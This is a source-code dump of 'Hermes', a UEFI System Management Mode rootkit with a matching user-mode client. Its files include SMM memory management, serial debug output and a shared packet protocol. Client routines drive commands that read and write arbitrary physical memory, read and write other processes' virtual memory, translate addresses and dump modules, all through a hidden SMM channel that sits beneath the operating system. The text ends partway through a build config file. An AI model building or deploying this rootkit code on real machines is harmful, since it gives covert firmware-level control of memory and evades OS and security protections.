strlen(const CHAR8 *str) 4 | { 5 | const CHAR8 *s; 6 | 7 | for (s = str; *s; ++s) 8 | ; 9 | return (s - str); 10 | } 11 | 12 | CHAR8 *strcat(CHAR8 *destination, const CHAR8 *source) 13 | { 14 | // make ptr point to the end of destination string 15 | CHAR8 *ptr = destination + strlen(destination); 16 | 17 | // Appends characters of source to the destination string 18 | while (*source != '\0') 19 | *ptr++ = *source++; 20 | 21 | // null terminate destination string 22 | *ptr = '\0'; 23 | 24 | // destination is returned by standard strcat() 25 | return destination; 26 | } 27 | 28 | INT32 memcmp(const VOID *str1, const VOID *str2, size_t count) 29 | { 30 | register const UINT8 *s1 = (const UINT8 *)str1; 31 | register const UINT8 *s2 = (const UINT8 *)str2; 32 | 33 | while (count-- > 0) 34 | { 35 | if (*s1++ != *s2++) 36 | return s1[-1] < s2[-1] ? -1 : 1; 37 | } 38 | return 0; 39 | } 40 | 41 | CHAR8 tolower(UINT8 ch) 42 | { 43 | if (ch >= 'A' && ch <= 'Z') 44 | ch = 'a' + (ch - 'A'); 45 | return ch; 46 | } 47 | 48 | INT32 stricmp(const CHAR8 *s1, const CHAR8 *s2) 49 | { 50 | const UINT8 *us1 = (const UINT8 *)s1, 51 | *us2 = (const UINT8 *)s2; 52 | 53 | while (tolower(*us1) == tolower(*us2++)) 54 | if (*us1++ == '\0') 55 | return (0); 56 | return (tolower(*us1) - tolower(*--us2)); 57 | } 58 | 59 | INT32 strcmp(const CHAR8 *s1, const CHAR8 *s2) 60 | { 61 | for (; *s1 == *s2; ++s1, ++s2) 62 | if (*s1 == 0) 63 | return 0; 64 | return *(UINT8 *)s1 < *(UINT8 *)s2 ? -1 : 1; 65 | } 66 | 67 | INT32 strncmp(const CHAR8 *s1, const CHAR8 *s2, size_t n) 68 | { 69 | while (n && *s1 && (*s1 == *s2)) 70 | { 71 | ++s1; 72 | ++s2; 73 | --n; 74 | } 75 | if (n == 0) 76 | { 77 | return 0; 78 | } 79 | else 80 | { 81 | return (*(UINT8 *)s1 - *(UINT8 *)s2); 82 | } 83 | } 84 | 85 | const CHAR8 *strstr(const CHAR8 *X, const CHAR8 *Y) 86 | { 87 | size_t n = strlen(Y); 88 | 89 | while (*X) 90 | { 91 | if (!memcmp(X, Y, n)) 92 | return X; 93 | 94 | X++; 95 | } 96 | 97 | return 0; 98 | } 99 | 100 | CHAR8 *strdup(CHAR8 *src) 101 | { 102 | CHAR8 *str; 103 | CHAR8 *p; 104 | INT32 len = 0; 105 | 106 | while (src[len]) 107 | len++; 108 | str = malloc(len + 1); 109 | // gotta be safe, our malloc might actually fail :-) 110 | if (!str) 111 | { 112 | return NULL; 113 | } 114 | p = str; 115 | while (*src) 116 | *p++ = *src++; 117 | *p = '\0'; 118 | return str; 119 | } -------------------------------------------------------------------------------- /Hermes-Client/Hermes/Memory.cpp: -------------------------------------------------------------------------------- 1 | #include "Memory.h" 2 | 3 | /* 4 | * Function for clearing the current data in the memory communication buffer. 5 | * Asks for the following parameter: 6 | * - packetPtr, pointer to the memory communication buffer 7 | * 8 | * It will clear the buffer regardless of data inside. 9 | * 10 | */ 11 | void clearPacket(uint64_t packetPtr) 12 | { 13 | memset((void *)packetPtr, 0, sizeof(hermes_packet)); 14 | } 15 | 16 | /* 17 | * Function for setting the packet in the memory communication buffer as finished. 18 | * Asks for the following parameter: 19 | * - packetPtr, pointer to the memory communication buffer 20 | * 21 | * As soon as this identifier is set, smm will recognize it as valid packet and process it. 22 | * 23 | */ 24 | void setPacketFinished(uint64_t packetPtr) 25 | { 26 | // Sets the end identifier of the packet, Handler will instantly process it 27 | memcpy((void *)(packetPtr + sizeof(hermes_packet) - sizeof(uint16_t)), &end_identifier, sizeof(uint16_t)); 28 | } 29 | 30 | /* 31 | * Function for setting the packet in the memory communication buffer as starting. 32 | * Asks for the following parameter: 33 | * - packetPtr, pointer to the memory communication buffer 34 | * 35 | * This identifier acts as mutex, in case the communication would be paralellized using multiple threads. 36 | * 37 | */ 38 | void setPacketStarting(uint64_t packetPtr) 39 | { 40 | // Sets the start identifier of the packet 41 | memcpy((void *)(packetPtr), &start_identifier, sizeof(uint16_t)); 42 | } 43 | 44 | /* 45 | * Function for setting the command in the packet. 46 | * Asks for the following two parameters: 47 | * - packetPtr, pointer to the memory communication buffer 48 | * - command, the command which should be executed by smm 49 | * 50 | */ 51 | void setPacketCommand(uint64_t packetPtr, hermes_command_t command) 52 | { 53 | memcpy((void *)(packetPtr + sizeof(uint16_t)), &command, sizeof(hermes_command_t)); 54 | } 55 | 56 | /* 57 | * Function for setting the pointer to the data buffer in the packet. 58 | * Asks for the following two parameters: 59 | * - packetPtr, pointer to the memory communication buffer 60 | * - dataPtr, pointer to the data (contains instructions for the command) 61 | * 62 | */ 63 | void setPacketDataPtr(uint64_t packetPtr, uint64_t dataPtr) 64 | { 65 | uint64_t tempPtr = dataPtr; 66 | memcpy((void *)(packetPtr + sizeof(uint16_t) + sizeof(uint8_t)), &tempPtr, sizeof(uint64_t)); 67 | 68 | } 69 | 70 | /* 71 | * Function for setting the pointer to the result buffer in the packet. 72 | * Asks for the following two parameters: 73 | * - packetPtr, pointer to the memory communication buffer 74 | * - resultPtr, pointer to the result (contains the result of the execution) 75 | * 76 | */ 77 | void setPacketResultPtr(uint64_t packetPtr, uint64_t resultPtr) 78 | { 79 | uint64_t tempPtr = resultPtr; 80 | memcpy((void *)(packetPtr + sizeof(uint16_t) + sizeof(uint8_t) + sizeof(uint64_t)), &tempPtr, sizeof(uint64_t)); 81 | } 82 | 83 | /* 84 | * Function for checking if the start identifier is already set. 85 | * Asks for the following parameter: 86 | * - packetPtr, pointer to the memory communication buffer 87 | * 88 | * Implemented to act as a sort of mutex to prevent double commands. 89 | * 90 | */ 91 | bool checkPacketStatus(uint64_t packetPtr) 92 | { 93 | // Checks if the start identifier is already set, use it as a mutex 94 | uint16_t start = 0; 95 | memcpy(&start, (void *)packetPtr, sizeof(uint16_t)); 96 | 97 | if (start == 0) 98 | { 99 | return false; 100 | } 101 | 102 | return true; 103 | } -------------------------------------------------------------------------------- /Hermes-Client/Hermes/Hermes.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | /* 17 | * Command data structures which are used in communication with smm 18 | * 19 | */ 20 | typedef struct { 21 | uint64_t moduleBase; 22 | uint64_t moduleSize; 23 | } moduleData; 24 | 25 | /* 26 | * Commands which are passed to the smm 27 | * 28 | */ 29 | typedef enum { 30 | HERMES_CMD_DUMMY = 0x0, // Dummy for initialization across compilers 31 | HERMES_CMD_GET_DIRBASE, // Command for reading the dirbase of a process 32 | HERMES_CMD_GET_MODULEDATA, // Command for getting information of a module of a process 33 | HERMES_CMD_READ_VIRTUAL, // Command for reading virtual memory 34 | HERMES_CMD_WRITE_VIRTUAL, // Command for writing virtual memory 35 | HERMES_CMD_READ_PHYSICAL, // Command for reading physical memory 36 | HERMES_CMD_WRITE_PHYSICAL, // Command for writing physical memory 37 | HERMES_CMD_VIRTUAL_TO_PHYSICAL, // Command for translating a virtual to a physical address 38 | HERMES_CMD_DUMP_MODULE, // Command for dumping a module (memory range) 39 | HERMES_CMD_GET_MODULES, // Command for returning all modules of a process 40 | HERMES_CMD_MAX // Amount of commands available 41 | } hermes_command_t; 42 | 43 | /* 44 | * Main Packet 45 | * Disable padding so it is the same struct size everywhere 46 | * 47 | */ 48 | #pragma pack(push, 1) 49 | typedef struct { 50 | uint16_t begin; // Signals the start of the packet in memory 51 | uint8_t command; // Command that should be executed by smm 52 | uint64_t dataPointer; // Pointer to data that should be used by smm 53 | uint64_t resultPointer; // Pointer to the result, where smm should write 54 | uint16_t end; // Signals the end of the packet in memory 55 | } hermes_packet; 56 | #pragma pack(pop) 57 | 58 | /* 59 | * Result code that smm will write back 60 | * 61 | */ 62 | typedef enum { 63 | HERMES_STATUS_DUMMY = 0x0, // Dummy for initialization across compilers 64 | HERMES_STATUS_INVALID_COMMAND, // Invalid command 65 | HERMES_STATUS_INVALID_DATA_PTR, // Invalid data pointer 66 | HERMES_STATUS_INVALID_RES_PTR, // Invalid result pointer 67 | HERMES_STATUS_INVALID_IDENTIFIERS, // Invalid identifiers 68 | HERMES_STATUS_FAIL_FIND_PROC, // Failed finding the process 69 | HERMES_STATUS_FAIL_FIND_DIRBASE, // Failed getting dirbase 70 | HERMES_STATUS_FAIL_FIND_MOD, // Failed finding the module 71 | HERMES_STATUS_FAIL_READ_MOD_BASE, // Failed reading module base 72 | HERMES_STATUS_FAIL_READ_MOD_SIZE, // Failed reading module size 73 | HERMES_STATUS_PROCNAME_TOO_LONG, // Too big process name size 74 | HERMES_STATUS_MODNAME_TOO_LONG, // Too big module name size 75 | HERMES_STATUS_FAIL_VIRT_READ, // Failed reading virtual address 76 | HERMES_STATUS_FAIL_VIRT_WRITE, // Failed writing virtual address 77 | HERMES_STATUS_INVALID_DATA_SOURCE, // Invalid data source 78 | HERMES_STATUS_INVALID_DATA_DIRBASE, // Invalid data dirbase 79 | HERMES_STATUS_INVALID_DATA_SIZE, // Invalid data size 80 | HERMES_STATUS_INVALID_DATA_DEST, // Invalid data destination 81 | HERMES_STATUS_REQ_TOO_LARGE, // Requested size is too big 82 | HERMES_STATUS_FAIL_SBUFF_VIRTW, // Failed reading source buffer for virtual write 83 | HERMES_STATUS_FAIL_ADDR_TRANSLATION, // Failed translating address 84 | HERMES_STATUS_FAIL_SBUFF_PHYSW, // Failed reading source buffer for physical write 85 | HERMES_STATUS_INVALID_MOD_BASE, // Invalid module base 86 | HERMES_STATUS_INVALID_MOD_SIZE, // Invalid module size 87 | HERMES_STATUS_FAIL_PHYS_READ, // Failed reading physical address 88 | HERMES_STATUS_FAIL_PHYS_WRITE, // Failed writing physical address 89 | HERMES_STATUS_OK, // Everything worked 90 | HERMES_STATUS_MAX // Amount of status available 91 | } hermes_status_t; -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Hermes/Hermes.h: -------------------------------------------------------------------------------- 1 | #ifndef __hermes_h__ 2 | #define __hermes_h__ 3 | 4 | #include 5 | 6 | #include "windows.h" 7 | #include "NTKernelTools.h" 8 | #include "serial.h" 9 | 10 | // Use 1 byte alignment to have the struct the same size everywhere 11 | #ifdef __GNUC__ 12 | #define PACK( __Declaration__ ) __Declaration__ __attribute__((__packed__)) 13 | #endif 14 | 15 | #ifdef _MSC_VER 16 | #define PACK( __Declaration__ ) __pragma( pack(push, 1) ) __Declaration__ __pragma( pack(pop)) 17 | #endif 18 | 19 | // Command Data structures 20 | typedef struct { 21 | UINT64 moduleBase; 22 | UINT64 moduleSize; 23 | } moduleData; 24 | 25 | typedef struct { 26 | UINT64 source; 27 | UINT64 dirbase; 28 | UINT64 size; 29 | } readRequest; 30 | 31 | // Commands 32 | typedef enum { 33 | HERMES_CMD_DUMMY = 0x0, // Dummy for initialization across compilers 34 | HERMES_CMD_GET_DIRBASE, // Command for reading the dirbase of a process 35 | HERMES_CMD_GET_MODULEDATA, // Command for getting information of a module of a process 36 | HERMES_CMD_READ_VIRTUAL, // Command for reading virtual memory 37 | HERMES_CMD_WRITE_VIRTUAL, // Command for writing virtual memory 38 | HERMES_CMD_READ_PHYSICAL, // Command for reading physical memory 39 | HERMES_CMD_WRITE_PHYSICAL, // Command for writing physical memory 40 | HERMES_CMD_VIRTUAL_TO_PHYSICAL, // Command for translating a virtual to a physical address 41 | HERMES_CMD_DUMP_MODULE, // Command for dumping a module (memory range) 42 | HERMES_CMD_GET_MODULES, // Command for returning all modules of a process 43 | HERMES_CMD_MAX // Amount of commands available 44 | } hermes_command_t; 45 | 46 | 47 | // Main Packet 48 | PACK(typedef struct 49 | { 50 | UINT16 begin; // Signals the start of the packet in memory 51 | UINT8 command; // Command that should be executed by smm 52 | UINT64 dataPointer; // Pointer to data that should be used by smm 53 | UINT64 resultPointer; // Pointer to the result, where smm should write 54 | UINT16 end; // Signals the end of the packet in memory 55 | }) hermes_packet; 56 | 57 | // Results 58 | typedef enum { 59 | HERMES_STATUS_DUMMY = 0x0, // Dummy for initialization across compilers 60 | HERMES_STATUS_INVALID_COMMAND, // Invalid command 61 | HERMES_STATUS_INVALID_DATA_PTR, // Invalid data pointer 62 | HERMES_STATUS_INVALID_RES_PTR, // Invalid result pointer 63 | HERMES_STATUS_INVALID_IDENTIFIERS, // Invalid identifiers 64 | HERMES_STATUS_FAIL_FIND_PROC, // Failed finding the process 65 | HERMES_STATUS_FAIL_FIND_DIRBASE, // Failed getting dirbase 66 | HERMES_STATUS_FAIL_FIND_MOD, // Failed finding the module 67 | HERMES_STATUS_FAIL_READ_MOD_BASE, // Failed reading module base 68 | HERMES_STATUS_FAIL_READ_MOD_SIZE, // Failed reading module size 69 | HERMES_STATUS_PROCNAME_TOO_LONG, // Too big process name size 70 | HERMES_STATUS_MODNAME_TOO_LONG, // Too big module name size 71 | HERMES_STATUS_FAIL_VIRT_READ, // Failed reading virtual address 72 | HERMES_STATUS_FAIL_VIRT_WRITE, // Failed writing virtual address 73 | HERMES_STATUS_INVALID_DATA_SOURCE, // Invalid data source 74 | HERMES_STATUS_INVALID_DATA_DIRBASE, // Invalid data dirbase 75 | HERMES_STATUS_INVALID_DATA_SIZE, // Invalid data size 76 | HERMES_STATUS_INVALID_DATA_DEST, // Invalid data destination 77 | HERMES_STATUS_REQ_TOO_LARGE, // Requested size is too big 78 | HERMES_STATUS_FAIL_SBUFF_VIRTW, // Failed reading source buffer for virtual write 79 | HERMES_STATUS_FAIL_ADDR_TRANSLATION, // Failed translating address 80 | HERMES_STATUS_FAIL_SBUFF_PHYSW, // Failed reading source buffer for physical write 81 | HERMES_STATUS_INVALID_MOD_BASE, // Invalid module base 82 | HERMES_STATUS_INVALID_MOD_SIZE, // Invalid module size 83 | HERMES_STATUS_FAIL_PHYS_READ, // Failed reading physical address 84 | HERMES_STATUS_FAIL_PHYS_WRITE, // Failed writing physical address 85 | HERMES_STATUS_OK, // Everything worked 86 | HERMES_STATUS_MAX // Amount of status available 87 | } hermes_status_t; 88 | 89 | BOOLEAN HermesPollCommands(); 90 | 91 | #endif -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Hermes/MemManager.c: -------------------------------------------------------------------------------- 1 | #include "MemManager.h" 2 | 3 | static BOOLEAN memPoolInitialized; 4 | static PMemAllocEntry_t memPool; 5 | static UINT32 pagesInPool; 6 | static UINT64 memAllocated; 7 | 8 | // from Main.c 9 | extern EFI_SMM_SYSTEM_TABLE2 *gSmst2; 10 | 11 | UINT64 GetMemAllocated() 12 | { 13 | return memAllocated; 14 | } 15 | 16 | #ifdef __GNUC__ 17 | #pragma GCC diagnostic push 18 | #pragma GCC diagnostic ignored "-Wunknown-pragmas" 19 | #pragma GCC diagnostic ignored "-Wunused-variable" 20 | #pragma GCC diagnostic ignored "-Wunused-value" 21 | #endif 22 | 23 | // Disable optimization on MSVC as it tries to link memset which is not possible 24 | #ifdef _MSC_VER 25 | #pragma optimize("", off) 26 | #endif 27 | BOOLEAN InitMemManager(UINT32 pages) 28 | { 29 | memPoolInitialized = FALSE; 30 | EFI_PHYSICAL_ADDRESS physAddr; 31 | if (gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, pages, &physAddr) == EFI_SUCCESS) 32 | { 33 | // set pool pointer 34 | memPool = (PMemAllocEntry_t)physAddr; 35 | 36 | // nullify the pool 37 | UINT8 *pool = (UINT8 *)memPool; 38 | for (UINT32 i = 0; i < pages * 4096; i++) 39 | { 40 | pool[i] = (UINT8)0x00; 41 | } 42 | 43 | // set the global vars, needed by malloc 44 | memPoolInitialized = TRUE; 45 | pagesInPool = pages; 46 | 47 | // allocate the first block 48 | malloc(0); 49 | } 50 | return memPoolInitialized; 51 | } 52 | #ifdef _MSC_VER 53 | #pragma optimize("", on) 54 | #endif 55 | 56 | VOID *palloc(UINT32 pages) 57 | { 58 | EFI_PHYSICAL_ADDRESS physAddr; 59 | if (gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, pages, &physAddr) == EFI_SUCCESS) 60 | { 61 | return (VOID *)physAddr; 62 | } 63 | return NULL; 64 | } 65 | 66 | VOID pfree(VOID *address, UINT32 pages) 67 | { 68 | gSmst2->SmmFreePages((EFI_PHYSICAL_ADDRESS)address, pages); 69 | } 70 | 71 | VOID *malloc(UINT32 size) 72 | { 73 | // sanity check 74 | if (!memPoolInitialized) 75 | { 76 | SerialPrintStringDebug("FAIL: malloc pool was not set up!\r\n"); 77 | return NULL; 78 | } 79 | 80 | PMemAllocEntry_t curr = memPool; 81 | PMemAllocEntry_t newEntry = NULL; 82 | 83 | // find the first allocatable location and return if possible 84 | while (curr->next) 85 | { 86 | if ((UINT8 *)curr + curr->size + 24 + size < (UINT8 *)curr->next) 87 | { 88 | newEntry = (PMemAllocEntry_t)((UINT8 *)curr + curr->size); 89 | newEntry->next = curr->next; 90 | newEntry->prev = curr; 91 | newEntry->size = size + 24; 92 | curr->next->prev = newEntry; 93 | curr->next = newEntry; 94 | memAllocated += size + 24; 95 | return newEntry->data; 96 | } 97 | curr = curr->next; 98 | } 99 | 100 | // we came to the end of the list, 101 | // check that the allocation will not exceed the slab boundaries 102 | if ((UINT8 *)curr + curr->size + 24 + size > ((UINT8 *)memPool + (pagesInPool * 4096))) 103 | { 104 | SerialPrintStringDebug("FAIL: malloc failed for size "); 105 | SerialPrintNumberDebug(size, 10); 106 | SerialPrintStringDebug("\r\n"); 107 | return NULL; 108 | } 109 | 110 | // Is this the first allocation? 111 | if (curr->size == 0 && curr == memPool) 112 | { 113 | curr->size = 24 + size; 114 | memAllocated += size + 24; 115 | return curr->data; 116 | } 117 | 118 | // normal allocation for normal entries 119 | newEntry = (PMemAllocEntry_t)((UINT8 *)curr + curr->size); 120 | newEntry->next = curr->next; 121 | newEntry->prev = curr; 122 | newEntry->size = size + 24; 123 | curr->next = newEntry; 124 | memAllocated += size + 24; 125 | return newEntry->data; 126 | } 127 | 128 | VOID free(VOID *address) 129 | { 130 | // sanity check 131 | if (!memPoolInitialized) 132 | { 133 | return; 134 | } 135 | 136 | PMemAllocEntry_t curr = memPool; 137 | 138 | while (curr->next) 139 | { 140 | curr = curr->next; 141 | if (curr->data == address) 142 | { 143 | if (curr->next) 144 | { 145 | curr->next->prev = curr->prev; 146 | } 147 | curr->prev->next = curr->next; 148 | curr->prev = NULL; 149 | curr->next = NULL; 150 | memAllocated -= curr->size + 24; 151 | curr->size = 0; 152 | } 153 | } 154 | } -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Hermes/serial.c: -------------------------------------------------------------------------------- 1 | #include "serial.h" 2 | 3 | /* 4 | * UART Register Offsets 5 | */ 6 | #define BAUD_LOW_OFFSET 0x00 7 | #define BAUD_HIGH_OFFSET 0x01 8 | #define IER_OFFSET 0x01 9 | #define LCR_SHADOW_OFFSET 0x01 10 | #define FCR_SHADOW_OFFSET 0x02 11 | #define IR_CONTROL_OFFSET 0x02 12 | #define FCR_OFFSET 0x02 13 | #define EIR_OFFSET 0x02 14 | #define BSR_OFFSET 0x03 15 | #define LCR_OFFSET 0x03 16 | #define MCR_OFFSET 0x04 17 | #define LSR_OFFSET 0x05 18 | #define MSR_OFFSET 0x06 19 | 20 | /* 21 | * UART Register Bit Defines 22 | */ 23 | #define LSR_TXRDY 0x20 24 | #define LSR_RXDA 0x01 25 | #define DLAB 0x01 26 | 27 | /* 28 | * UART Settings 29 | */ 30 | UINT8 m_Data = 8; 31 | UINT8 m_Stop = 1; 32 | UINT8 m_Parity = 0; 33 | UINT8 m_BreakSet = 0; 34 | 35 | #ifdef HERMES_SERIAL_ENABLED 36 | 37 | VOID SerialPortInitialize(UINT16 Port, UINTN Baudrate) 38 | { 39 | // Map 5..8 to 0..3 40 | UINT8 Data = (UINT8)(m_Data - (UINT8)5); 41 | 42 | // Calculate divisor for baud generator 43 | UINTN Divisor = SERIAL_BAUDRATE_MAX / Baudrate; 44 | 45 | // Set communications format 46 | UINT8 OutputData = (UINT8)((DLAB << 7) | (m_BreakSet << 6) | (m_Parity << 3) | (m_Stop << 2) | Data); 47 | IoWrite8((UINTN)(Port + LCR_OFFSET), OutputData); 48 | 49 | // Configure baud rate 50 | IoWrite8((UINTN)(Port + BAUD_HIGH_OFFSET), (UINT8)(Divisor >> 8)); 51 | IoWrite8((UINTN)(Port + BAUD_LOW_OFFSET), (UINT8)(Divisor & 0xff)); 52 | 53 | // Switch back to bank 0 54 | OutputData = (UINT8)((~DLAB << 7) | (m_BreakSet << 6) | (m_Parity << 3) | (m_Stop << 2) | Data); 55 | IoWrite8((UINTN)(Port + LCR_OFFSET), OutputData); 56 | } 57 | 58 | VOID SerialPortWrite(UINT16 Port, UINT8 Data) 59 | { 60 | UINT8 Status = 0; 61 | 62 | do 63 | { 64 | // Wait for the serail port to be ready 65 | Status = IoRead8(Port + LSR_OFFSET); 66 | 67 | } while ((Status & LSR_TXRDY) == 0); 68 | 69 | IoWrite8(Port, Data); 70 | } 71 | 72 | UINT8 SerialPortRead(UINT16 Port) 73 | { 74 | UINT8 Status = 0; 75 | 76 | do 77 | { 78 | // Wait for the serail port to be ready 79 | Status = IoRead8(Port + LSR_OFFSET); 80 | 81 | } while ((Status & LSR_RXDA) == 0); 82 | 83 | return IoRead8(Port); 84 | } 85 | 86 | VOID SerialPrintString(const char *text) 87 | { 88 | SerialPortInitialize(SERIAL_PORT_0, SERIAL_BAUDRATE); 89 | 90 | while (*text) 91 | { 92 | // send single byte via serial port 93 | SerialPortWrite(SERIAL_PORT_0, *text++); 94 | } 95 | } 96 | 97 | VOID SerialPrintStringDebug(const char *text) 98 | { 99 | #ifdef ROOTKIT_VERBOSE 100 | SerialPrintString(text); 101 | #endif 102 | } 103 | 104 | VOID SerialTest() 105 | { 106 | // Send 0xA 8 times 107 | 108 | for (int i = 0; i < 8; i++) 109 | { 110 | SerialPortWrite(SERIAL_PORT_0, 0xA); 111 | } 112 | } 113 | 114 | VOID SerialSendData(const VOID *buf, UINT8 len) 115 | { 116 | for (UINT64 i = 0; i < len; i++) 117 | { 118 | SerialPortWrite(SERIAL_PORT_0, ((const char *)buf)[i]); 119 | } 120 | } 121 | 122 | VOID SerialPrintNumber(INT64 _v, INT64 _b) 123 | { 124 | char _r[100]; 125 | // check validity 126 | if (_b < 2 || _b > 36) 127 | { 128 | *_r = 0; 129 | return; 130 | } 131 | 132 | char *ptr = _r; 133 | char *ptr1 = _r; 134 | char tmp_char; 135 | INT64 tmp_value; 136 | 137 | do 138 | { 139 | tmp_value = _v; 140 | _v /= _b; 141 | *ptr++ = "zyxwvutsrqponmlkjihgfedcba9876543210123456789abcdefghijklmnopqrstuvwxyz"[35 + (tmp_value - _v * _b)]; 142 | } while (_v); 143 | 144 | // is the value neg? 145 | if (tmp_value < 0 && _b == 10) 146 | { 147 | *ptr++ = '-'; 148 | } 149 | *ptr-- = '\0'; 150 | while (ptr1 < ptr) 151 | { 152 | tmp_char = *ptr; 153 | *ptr-- = *ptr1; 154 | *ptr1++ = tmp_char; 155 | } 156 | 157 | SerialPrintString(_r); 158 | } 159 | 160 | VOID SerialPrintNumberDebug(UINT64 _v, UINT64 _b) 161 | { 162 | SerialPrintNumber(_v, _b); 163 | } 164 | 165 | #else 166 | 167 | VOID SerialPortInitialize(UINT16 Port, UINTN Baudrate) 168 | { 169 | return; 170 | } 171 | 172 | VOID SerialPortWrite(UINT16 Port, UINT8 Data) 173 | { 174 | return; 175 | } 176 | 177 | UINT8 SerialPortRead(UINT16 Port) 178 | { 179 | return 0; 180 | } 181 | 182 | VOID SerialPrintString(const char *text) 183 | { 184 | return; 185 | } 186 | 187 | VOID SerialPrintStringDebug(const char *text) 188 | { 189 | return; 190 | } 191 | 192 | VOID SerialTest() 193 | { 194 | return; 195 | } 196 | 197 | VOID SerialSendData(const VOID *buf, UINT8 len) 198 | { 199 | return; 200 | } 201 | 202 | VOID SerialPrintNumber(INT64 _v, INT64 _b) 203 | { 204 | return; 205 | } 206 | 207 | VOID SerialPrintNumberDebug(UINT64 _v, UINT64 _b) 208 | { 209 | return; 210 | } 211 | 212 | #endif -------------------------------------------------------------------------------- /Hermes-Client/Hermes/Physical.cpp: -------------------------------------------------------------------------------- 1 | #include "Physical.h" 2 | #include "Hermes.h" 3 | #include "Memory.h" 4 | #include "Prints.h" 5 | 6 | #include 7 | #include 8 | 9 | 10 | /* 11 | * Function for reading arbitrary physical memory using smm. 12 | * Asks for the following parameter: 13 | * - packetBegin, pointer to the start of the memory mapping buffer 14 | * 15 | * The function itself asks for further information (physical address and size to read). 16 | * Function skips unknown memory which is not in the uefi memory map and thus deemed unsafe. 17 | * 18 | */ 19 | void readPhysical(uint64_t packetBegin) 20 | { 21 | setPacketStarting(packetBegin); 22 | 23 | std::cout << "Address: "; 24 | uint64_t address; 25 | std::cin >> std::hex >> address; 26 | 27 | std::cout << "Size: "; 28 | uint64_t size; 29 | std::cin >> std::dec >> size; 30 | 31 | setPacketCommand(packetBegin, HERMES_CMD_READ_PHYSICAL); 32 | 33 | std::vector data(2); 34 | memcpy(&(data[0]), &address, sizeof(uint64_t)); 35 | memcpy(&(data[1]), &size, sizeof(uint64_t)); 36 | 37 | setPacketDataPtr(packetBegin, (uint64_t)&(data[0])); 38 | 39 | if (debug) 40 | std::cout << "Data Ptr: " << (uint64_t)&(data[0]) << std::endl; 41 | 42 | char* result = (char *)_aligned_malloc(size + sizeof(uint64_t), 4096); 43 | uint64_t *resultToCheck = (uint64_t*)((uint64_t)result + (uint64_t)size); // Status will be at the end of the memory buffer 44 | *resultToCheck = 0; 45 | 46 | // Loop ones through the allocated pages to make sure its in the dirbase 47 | for (int i = 1; i < size + sizeof(uint64_t); i += 0x1000) 48 | { 49 | uint8_t *temp = (uint8_t*)((uint64_t)result + (uint64_t)i); 50 | *temp = 1; 51 | std::this_thread::sleep_for(std::chrono::milliseconds(2)); 52 | *temp = 0; 53 | } 54 | 55 | setPacketResultPtr(packetBegin, (uint64_t)result); 56 | 57 | if (debug) 58 | std::cout << "Result Ptr: " << result << std::endl; 59 | 60 | // Data collected, set the end identifier and wait for response 61 | setPacketFinished(packetBegin); 62 | 63 | std::cout << "Waiting for Endpoint... " << std::endl; 64 | 65 | while (*resultToCheck == 0) 66 | { 67 | std::this_thread::sleep_for(std::chrono::milliseconds(50)); 68 | } 69 | 70 | if (*resultToCheck != HERMES_STATUS_OK) 71 | { 72 | // Print error explanation 73 | printError(*resultToCheck); 74 | } 75 | else 76 | { 77 | // Result has changed 78 | std::cout << "Result: "; 79 | 80 | // Print out the read memory 81 | printBuffer((unsigned char *)result, size); 82 | } 83 | 84 | clearPacket(packetBegin); 85 | 86 | _aligned_free(result); 87 | } 88 | 89 | /* 90 | * Function for writing arbitrary physical memory using smm. 91 | * Asks for the following parameter: 92 | * - packetBegin, pointer to the start of the memory mapping buffer 93 | * 94 | * The function itself asks for further information (physical address, size to write and value to write). 95 | * Function skips unknown memory which is not in the uefi memory map and thus deemed unsafe. 96 | * 97 | */ 98 | void writePhysical(uint64_t packetBegin) 99 | { 100 | setPacketStarting(packetBegin); 101 | 102 | std::cout << "Destination: "; 103 | uint64_t address; 104 | std::cin >> std::hex >> address; 105 | 106 | std::cout << "Size: "; 107 | uint64_t size; 108 | std::cin >> std::dec >> size; 109 | 110 | std::cout << "Value: (MAX 8BYTES) "; 111 | uint64_t value; 112 | std::cin >> std::hex >> value; 113 | 114 | setPacketCommand(packetBegin, HERMES_CMD_WRITE_PHYSICAL); 115 | 116 | std::vector data(3); 117 | memcpy(&(data[0]), &address, sizeof(uint64_t)); 118 | memcpy(&(data[1]), &size, sizeof(uint64_t)); 119 | memcpy(&(data[2]), &value, sizeof(uint64_t)); 120 | 121 | setPacketDataPtr(packetBegin, (uint64_t)&(data[0])); 122 | 123 | if (debug) 124 | std::cout << "Data Ptr: " << (uint64_t)&(data[0]) << std::endl; 125 | 126 | uint64_t result = 0; 127 | setPacketResultPtr(packetBegin, (uint64_t)&result); 128 | 129 | if (debug) 130 | std::cout << "Result Ptr: " << &result << std::endl; 131 | 132 | // Data collected, set the end identifier and wait for response 133 | setPacketFinished(packetBegin); 134 | 135 | std::cout << "Waiting for Endpoint... " << std::endl; 136 | 137 | while (result == 0) 138 | { 139 | std::this_thread::sleep_for(std::chrono::milliseconds(50)); 140 | } 141 | 142 | if (result < 0x9000) 143 | { 144 | // Print error explanation 145 | printError(result); 146 | } 147 | else 148 | { 149 | // Result has changed 150 | std::cout << "Successfully written!" << std::endl; 151 | } 152 | 153 | clearPacket(packetBegin); 154 | } -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Conf/target.txt: -------------------------------------------------------------------------------- 1 | # 2 | # Copyright (c) 2006 - 2018, Intel Corporation. All rights reserved.
3 | # 4 | # This program and the accompanying materials 5 | # are licensed and made available under the terms and conditions of the BSD License 6 | # which accompanies this distribution. The full text of the license may be found at 7 | # http://opensource.org/licenses/bsd-license.php 8 | 9 | # THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, 10 | # WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. 11 | # 12 | # 13 | # ALL Paths are Relative to WORKSPACE 14 | 15 | # Separate multiple LIST entries with a SINGLE SPACE character, do not use comma characters. 16 | # Un-set an option by either commenting out the line, or not setting a value. 17 | 18 | # 19 | # PROPERTY Type Use Description 20 | # ---------------- -------- -------- ----------------------------------------------------------- 21 | # ACTIVE_PLATFORM Filename Recommended Specify the WORKSPACE relative Path and Filename 22 | # of the platform description file that 